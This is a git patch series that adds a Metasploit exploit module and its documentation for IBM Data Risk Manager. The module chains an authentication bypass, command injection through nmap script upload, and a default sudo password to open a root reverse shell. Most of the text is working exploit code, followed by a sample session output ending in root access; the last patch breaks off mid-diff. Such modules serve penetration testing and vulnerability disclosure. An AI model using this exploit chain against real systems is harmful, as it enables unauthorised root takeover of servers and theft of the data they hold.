From 8f5d6e4fa4ed33fba092ee6d35a87e1bbbf6974a Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 21 Apr 2020 15:49:48 +0700 Subject: [PATCH 1/9] Create ibm_drm_rce.rb --- modules/exploits/linux/http/ibm_drm_rce.rb | 276 +++++++++++++++++++++ 1 file changed, 276 insertions(+) create mode 100644 modules/exploits/linux/http/ibm_drm_rce.rb diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb new file mode 100644 index 0000000000..a6fa6e2c85 --- /dev/null +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -0,0 +1,276 @@ + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution', + 'Description' => %q{ + IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by + an unauthenticated attacker to achieve remote code execution as root. + The first is an unauthenticated bypass, followed by a command injection as the server user + and finally abuse of an insecure default password. + This module exploits all three vulnerabilities, giving the attacker a root shell. + At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be + affected, and the latest 2.0.6 is most likely affected too. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'TODO' ], + [ 'CVE', 'TODO' ], + [ 'CVE', 'TODO' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + ], + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Targets' => + [ + [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 15, + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 21 2020' + )) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8443]), + OptBool.new('SSL', [true, 'Connect with TLS', true]), + OptString.new('TARGETURI', [ true, "Default server path", '/']), + ]) + end + + + def check + # at the moment there is no better way to detect AND be stealthy about it + session_id = rand_text_alpha(5..12) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'method' => 'GET', + 'vars_get' => { + 'id' => session_id, + 'userName' => 'admin' + } + }) + if res and res.code == 302 + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Unknown + end + + # post-exploitation: + # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out) + def on_new_session(client) + if client.type == "meterpreter" + # stdapi must be loaded before we can use fs.file + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.fs.file.rm(@script_filepath) + client.fs.file.rm(@payload_filepath) + else + client.shell_command_token("rm #{@script_filepath}") + client.shell_command_token("rm #{@payload_filepath}") + end + end + + # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches + def get_patches_path(cookie, csrf) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'getAppInfo'), + 'method' => 'GET', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf } + }) + + if res and res.code == 200 + if res.body =~ /appVersion\":\"2.0.1\"/ + print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1") + return "/root/agile3/patches/" + end + end + print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above") + return "/home/a3user/agile3/patches/" + end + + def exploit + # step 1: create a session ID and try to make it stick + session_id = rand_text_alpha(5..12) + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'method' => 'GET', + 'vars_get' => { + 'id' => session_id, + 'userName' => 'admin' + } + }) + if res and res.code =! 302 + fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID") + else + print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") + end + + # step 2: give the session ID to the server and have it grant us a free admin password + post_data = Rex::MIME::Message.new + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"deviceid\"") + post_data.add_part(rand_text_alpha(8..15), nil, nil, content_disposition = "form-data; name=\"password\"") + post_data.add_part("admin", nil, nil, content_disposition = "form-data; name=\"username\"") + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") + post_data.add_part(session_id, nil, nil, content_disposition = "form-data; name=\"sessionId\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res and res.code == 200 and res.body[/\"data\":\"([0-9a-f\-]{36})/] + password = $1 + print_good("#{peer} - We have obtained a new admin password #{password}") + + # step 3: login and get an authenticated cookie + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), + 'method' => 'POST', + 'vars_post' => { + 'userName' => 'admin', + 'password' => password + } + }) + if res and res.code == 302 and res.get_cookies + print_good("#{peer} - ... and are authenticated as an admin!") + cookie = res.get_cookies + url = res.redirection.to_s + + # step 4: obtain CSRF header in order to be able to make valid requests + res = send_request_cgi({ + 'uri' => url, + 'method' => 'GET', + 'cookie' => cookie + }) + if res and res.code == 200 and res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ + csrf = $1 + patches_path = get_patches_path(cookie, csrf) + + # step 5: upload our payload + payload_file = rand_text_alpha(5..12) + ".enc" + post_data = Rex::MIME::Message.new + post_data.add_part(generate_payload_exe,"application/octet-stream", "binary", content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res and res.code == 200 + print_good("#{peer} - We have uploaded our payload... ") + + # step 6: upload our script file + # nmap will run as a3user (the server user), which has a default password of "idrm". + # a3user has sudo access, so that means we run as root! + # However let's do some basic error checking: if somehow the a3user password was changed and we cannot sudo + # to execute as root, we ensure our payload still executes as a3user. + # + # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity. + script_file = rand_text_alpha(5..12) + ".enc" + @script_filepath = patches_path + script_file + @payload_filepath = patches_path + payload_file + rand_file = rand_text_alpha(5..12) + cmd = "chmod +x #{@payload_filepath}; echo idrm | sudo -S whoami > /tmp/#{rand_file};" + cmd += " root=`cat /tmp/#{rand_file}`;" + cmd += " if [ $root == 'root' ]; then sudo #{@payload_filepath};" + cmd += " else #{@payload_filepath}; fi; rm /tmp/#{rand_file}" + script_file_contents = "os.execute(\"#{cmd}\")" + + post_data = Rex::MIME::Message.new + post_data.add_part(script_file_contents,"application/octet-stream", "binary", content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 + print_good("#{peer} - and our nmap script file!") + + # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) + post_data = Rex::MIME::Message.new + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"deviceid\"") + post_data.add_part(password, nil, nil, content_disposition = "form-data; name=\"password\"") + post_data.add_part("admin", nil, nil, content_disposition = "form-data; name=\"username\"") + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'method' => 'POST', + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res and res.code == 200 and res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ + bearer = $1 + print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...") + + # step 8 and final: invoke the nmap scan with our script file + script = "--script=#{@script_filepath}" + post_data = Rex::MIME::Message.new + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") + post_data.add_part("1", nil, nil, content_disposition = "form-data; name=\"type\"") + post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"portRange\"") + post_data.add_part(script, nil, nil, content_disposition = "form-data; name=\"ipAddress\"") + + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), + 'method' => 'POST', + 'headers' => { 'Authorization' => "Bearer #{bearer}" }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + if res and res.code == 200 + print_good("#{peer} - Shell incoming!") + handler + else + fail_with(Failure::Unknown, "#{peer} - Failed to run nmap scan.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain Bearer token.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to upload nmap script file.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate obtain CSRF cookie.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to authenticate as an admin.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain the admin password.") + end + end +end From e75a6420a790575393b22441313986ae03c4d38f Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 21 Apr 2020 15:50:38 +0700 Subject: [PATCH 2/9] Create ibm_drm_rce.md --- .../modules/exploit/linux/http/ibm_drm_rce.md | 38 +++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/ibm_drm_rce.md diff --git a/documentation/modules/exploit/linux/http/ibm_drm_rce.md b/documentation/modules/exploit/linux/http/ibm_drm_rce.md new file mode 100644 index 0000000000..0b5da19740 --- /dev/null +++ b/documentation/modules/exploit/linux/http/ibm_drm_rce.md @@ -0,0 +1,38 @@ +## Vulnerable Application +IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by an unauthenticated attacker to achieve remote code execution as root. +The first is an unauthenticated bypass, followed by a command injection as the server user and finally abuse of an insecure default password. +This module exploits all three vulnerabilities, giving the attacker a root shell. +At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be affected, and the latest 2.0.6 is most likely affected too. + +**Vulnerable Application Installation Steps** + +The application is available to download as Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so. + +## Verification Steps + +Module defaults work very well, you should just need to set RHOSTS and LHOST. +A successful exploit will look like this: +``` +msf5 exploit(linux/http/ibm_drm_unauth_rce) > run + +[*] Started reverse TCP handler on 10.9.8.1:4444 +[+] 10.9.8.213:8443 - Successfully "stickied" our session ID JQElTQxh +[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1 +[+] 10.9.8.213:8443 - ... and are authenticated as an admin! +[*] 10.9.8.213:8443 - Detected IBM Data Risk Manager version 2.0.2 or above +[+] 10.9.8.213:8443 - We have uploaded our payload... +[+] 10.9.8.213:8443 - and our nmap script file! +[+] 10.9.8.213:8443 - Bearer token 1b78100c-cf42-47fd-b64d-d36c07f1f934 obtained, wait for the final step where we invoke nmap... +[+] 10.9.8.213:8443 - Shell incoming! +[*] Command shell session 2 opened (10.9.8.1:4444 -> 10.9.8.213:57136) at 2020-04-21 15:46:29 +0700 + +whoami +root +uname -a +Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux +``` + +## Vulnerability information +For more information about the vulnerability check the advisory at: +https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md + From a29b05c453e83736b60e33a67eb21d2022cbf778 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 24 Apr 2020 10:20:10 +0700 Subject: [PATCH 3/9] add proper check + rubocup changes --- modules/exploits/linux/http/ibm_drm_rce.rb | 227 +++++++++++---------- 1 file changed, 116 insertions(+), 111 deletions(-) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index a6fa6e2c85..a06a0378df 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -1,4 +1,3 @@ - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework @@ -11,77 +10,83 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::EXE def initialize(info = {}) - super(update_info(info, - 'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution', - 'Description' => %q{ - IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by - an unauthenticated attacker to achieve remote code execution as root. - The first is an unauthenticated bypass, followed by a command injection as the server user - and finally abuse of an insecure default password. - This module exploits all three vulnerabilities, giving the attacker a root shell. - At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be - affected, and the latest 2.0.6 is most likely affected too. - }, - 'Author' => - [ - 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', 'TODO' ], - [ 'CVE', 'TODO' ], - [ 'CVE', 'TODO' ], - [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], - ], - 'Platform' => 'linux', - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'Targets' => - [ - [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ] - ], - 'Privileged' => true, - 'DefaultOptions' => - { - 'WfsDelay' => 15, - 'PAYLOAD' => 'linux/x64/shell_reverse_tcp' + super( + update_info( + info, + 'Name' => 'IBM Data Risk Manager Unauthenticated Remote Code Execution', + 'Description' => %q{ + IBM Data Risk Manager (IDRM) contains three vulnerabilities that can be chained by + an unauthenticated attacker to achieve remote code execution as root. + The first is an unauthenticated bypass, followed by a command injection as the server user + and finally abuse of an insecure default password. + This module exploits all three vulnerabilities, giving the attacker a root shell. + At the time of disclosure, this is a 0 day. Versions 2.0.3 and below are confirmed to be + affected, and the latest 2.0.6 is most likely affected too. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', 'TODO' ], + [ 'CVE', 'TODO' ], + [ 'CVE', 'TODO' ], + [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + ], + 'Platform' => 'linux', + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Targets' => + [ + [ 'IBM Data Risk Manager <= 2.0.3 (<= 2.0.6 possibly affected)', {} ] + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'WfsDelay' => 15, + 'PAYLOAD' => 'linux/x64/shell_reverse_tcp' }, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Apr 21 2020' - )) + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 21 2020' + ) + ) register_options( [ OptPort.new('RPORT', [true, 'The target port', 8443]), OptBool.new('SSL', [true, 'Connect with TLS', true]), - OptString.new('TARGETURI', [ true, "Default server path", '/']), - ]) + OptString.new('TARGETURI', [ true, 'Default server path', '/']), + ] + ) end - def check # at the moment there is no better way to detect AND be stealthy about it session_id = rand_text_alpha(5..12) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), 'method' => 'GET', 'vars_get' => { - 'id' => session_id, - 'userName' => 'admin' + 'id' => session_id, + 'userName' => 'admin' } }) - if res and res.code == 302 + if res && (res.code == 302) && + res.headers['Location'].include?('localhost:8765') && + res.headers['Location'].include?('saml/idpSelection') return Exploit::CheckCode::Detected end + return Exploit::CheckCode::Unknown end # post-exploitation: # - delete the .enc files that were uploaded (register_file_for_cleanup seems to crap out) def on_new_session(client) - if client.type == "meterpreter" + if client.type == 'meterpreter' # stdapi must be loaded before we can use fs.file - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.core.use('stdapi') if !client.ext.aliases.include?('stdapi') client.fs.file.rm(@script_filepath) client.fs.file.rm(@payload_filepath) else @@ -93,34 +98,34 @@ class MetasploitModule < Msf::Exploit::Remote # version 2.0.1 runs as root, so we need to change the path to where we deploy the patches def get_patches_path(cookie, csrf) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'getAppInfo'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'getAppInfo'), 'method' => 'GET', - 'cookie' => cookie, - 'headers' => { 'CSRF-TOKEN' => csrf } + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf } }) - if res and res.code == 200 + if res && (res.code == 200) if res.body =~ /appVersion\":\"2.0.1\"/ print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.1") - return "/root/agile3/patches/" + return '/root/agile3/patches/' end end print_status("#{peer} - Detected IBM Data Risk Manager version 2.0.2 or above") - return "/home/a3user/agile3/patches/" + return '/home/a3user/agile3/patches/' end def exploit # step 1: create a session ID and try to make it stick session_id = rand_text_alpha(5..12) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'saml', 'idpSelection'), 'method' => 'GET', 'vars_get' => { - 'id' => session_id, - 'userName' => 'admin' + 'id' => session_id, + 'userName' => 'admin' } }) - if res and res.code =! 302 + if res && (res.code = !302) fail_with(Failure::Unknown, "#{peer} - Failed to \"stick\" session ID") else print_good("#{peer} - Successfully \"stickied\" our session ID #{session_id}") @@ -128,60 +133,60 @@ class MetasploitModule < Msf::Exploit::Remote # step 2: give the session ID to the server and have it grant us a free admin password post_data = Rex::MIME::Message.new - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"deviceid\"") - post_data.add_part(rand_text_alpha(8..15), nil, nil, content_disposition = "form-data; name=\"password\"") - post_data.add_part("admin", nil, nil, content_disposition = "form-data; name=\"username\"") - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") - post_data.add_part(session_id, nil, nil, content_disposition = "form-data; name=\"sessionId\"") + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') + post_data.add_part(rand_text_alpha(8..15), nil, nil, content_disposition = 'form-data; name="password"') + post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') + post_data.add_part(session_id, nil, nil, content_disposition = 'form-data; name="sessionId"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), 'method' => 'POST', - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res and res.code == 200 and res.body[/\"data\":\"([0-9a-f\-]{36})/] - password = $1 + if res && (res.code == 200) && res.body[/\"data\":\"([0-9a-f\-]{36})/] + password = Regexp.last_match(1) print_good("#{peer} - We have obtained a new admin password #{password}") # step 3: login and get an authenticated cookie res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'login'), 'method' => 'POST', 'vars_post' => { 'userName' => 'admin', 'password' => password } }) - if res and res.code == 302 and res.get_cookies + if res && (res.code == 302) && res.get_cookies print_good("#{peer} - ... and are authenticated as an admin!") cookie = res.get_cookies url = res.redirection.to_s # step 4: obtain CSRF header in order to be able to make valid requests res = send_request_cgi({ - 'uri' => url, - 'method' => 'GET', - 'cookie' => cookie + 'uri' => url, + 'method' => 'GET', + 'cookie' => cookie }) - if res and res.code == 200 and res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ - csrf = $1 + if res && (res.code == 200) && res.body =~ /var csrfToken \= \"([0-9a-f\-]{36})\";/ + csrf = Regexp.last_match(1) patches_path = get_patches_path(cookie, csrf) # step 5: upload our payload - payload_file = rand_text_alpha(5..12) + ".enc" + payload_file = rand_text_alpha(5..12) + '.enc' post_data = Rex::MIME::Message.new - post_data.add_part(generate_payload_exe,"application/octet-stream", "binary", content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") + post_data.add_part(generate_payload_exe, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{payload_file}\"") res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), - 'method' => 'POST', - 'cookie' => cookie, - 'headers' => { 'CSRF-TOKEN' => csrf }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res and res.code == 200 + if res && (res.code == 200) print_good("#{peer} - We have uploaded our payload... ") # step 6: upload our script file @@ -191,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote # to execute as root, we ensure our payload still executes as a3user. # # Note: for version 2.0.1, the above is not necessary as nmap runs as root. However, leave it anyway for simplicity. - script_file = rand_text_alpha(5..12) + ".enc" + script_file = rand_text_alpha(5..12) + '.enc' @script_filepath = patches_path + script_file @payload_filepath = patches_path + payload_file rand_file = rand_text_alpha(5..12) @@ -202,53 +207,53 @@ class MetasploitModule < Msf::Exploit::Remote script_file_contents = "os.execute(\"#{cmd}\")" post_data = Rex::MIME::Message.new - post_data.add_part(script_file_contents,"application/octet-stream", "binary", content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") + post_data.add_part(script_file_contents, 'application/octet-stream', 'binary', content_disposition = "form-data; name=\"patchFiles\"; filename=\"#{script_file}\"") res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), - 'method' => 'POST', - 'cookie' => cookie, - 'headers' => { 'CSRF-TOKEN' => csrf }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'upload', 'patch'), + 'method' => 'POST', + 'cookie' => cookie, + 'headers' => { 'CSRF-TOKEN' => csrf }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res and res.code == 200 + if res && (res.code == 200) print_good("#{peer} - and our nmap script file!") # step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have) post_data = Rex::MIME::Message.new - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"deviceid\"") - post_data.add_part(password, nil, nil, content_disposition = "form-data; name=\"password\"") - post_data.add_part("admin", nil, nil, content_disposition = "form-data; name=\"username\"") - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="deviceid"') + post_data.add_part(password, nil, nil, content_disposition = 'form-data; name="password"') + post_data.add_part('admin', nil, nil, content_disposition = 'form-data; name="username"') + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'user', 'login'), 'method' => 'POST', - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res and res.code == 200 and res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ - bearer = $1 + if res && (res.code == 200) && res.body =~ /\"data\":\{\"access_token\":\"([0-9a-f\-]{36})\",\"token_type\":\"bearer\"/ + bearer = Regexp.last_match(1) print_good("#{peer} - Bearer token #{bearer} obtained, wait for the final step where we invoke nmap...") # step 8 and final: invoke the nmap scan with our script file script = "--script=#{@script_filepath}" post_data = Rex::MIME::Message.new - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"clientDetails\"") - post_data.add_part("1", nil, nil, content_disposition = "form-data; name=\"type\"") - post_data.add_part("", nil, nil, content_disposition = "form-data; name=\"portRange\"") - post_data.add_part(script, nil, nil, content_disposition = "form-data; name=\"ipAddress\"") + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="clientDetails"') + post_data.add_part('1', nil, nil, content_disposition = 'form-data; name="type"') + post_data.add_part('', nil, nil, content_disposition = 'form-data; name="portRange"') + post_data.add_part(script, nil, nil, content_disposition = 'form-data; name="ipAddress"') res = send_request_cgi({ - 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), - 'method' => 'POST', - 'headers' => { 'Authorization' => "Bearer #{bearer}" }, - 'data' => post_data.to_s, - 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + 'uri' => normalize_uri(datastore['TARGETURI'], 'albatross', 'restAPI', 'v2', 'nmap', 'run', 'scan', rand(99 + 1).to_s), + 'method' => 'POST', + 'headers' => { 'Authorization' => "Bearer #{bearer}" }, + 'data' => post_data.to_s, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" }) - if res and res.code == 200 + if res && (res.code == 200) print_good("#{peer} - Shell incoming!") handler else From e79fa7ca94ffedc4ade2876aff54a36031a4d1d8 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Tue, 28 Apr 2020 14:12:38 +0700 Subject: [PATCH 4/9] Update ibm_drm_rce.rb --- modules/exploits/linux/http/ibm_drm_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index a06a0378df..6e5ba60bb9 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## From d28a886c512294ff71412150b3162610b8436890 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Thu, 30 Apr 2020 11:15:11 +0700 Subject: [PATCH 5/9] remove CVE for merge, will add later --- modules/exploits/linux/http/ibm_drm_rce.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index 6e5ba60bb9..033648d776 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -30,9 +30,6 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'CVE', 'TODO' ], - [ 'CVE', 'TODO' ], - [ 'CVE', 'TODO' ], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], ], 'Platform' => 'linux', From af88fae6f39056bc4cb00efc495d2f9dfefbc580 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 1 May 2020 10:17:17 +0700 Subject: [PATCH 6/9] add CVE --- modules/exploits/linux/http/ibm_drm_rce.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index 033648d776..f0efc24ee3 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ b/modules/exploits/linux/http/ibm_drm_rce.rb @@ -31,6 +31,9 @@ class MetasploitModule < Msf::Exploit::Remote 'References' => [ [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md' ], + [ 'CVE', '2020-4427' ], # auth bypass + [ 'CVE', '2020-4428' ], # command injection + [ 'CVE', '2020-4429' ], # insecure default password ], 'Platform' => 'linux', 'Arch' => [ ARCH_X86, ARCH_X64 ], From dcf9dc1189e8c317e8c8e38fc3268d633d9d7f03 Mon Sep 17 00:00:00 2001 From: Pedro Ribeiro Date: Fri, 1 May 2020 21:02:32 +0700 Subject: [PATCH 7/9] add full disclosure URL --- modules/exploits/linux/http/ibm_drm_rce.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/ibm_drm_rce.rb b/modules/exploits/linux/http/ibm_drm_rce.rb index f0efc24ee3..e44989a164 100644 --- a/modules/exploits/linux/http/ibm_drm_rce.rb +++ 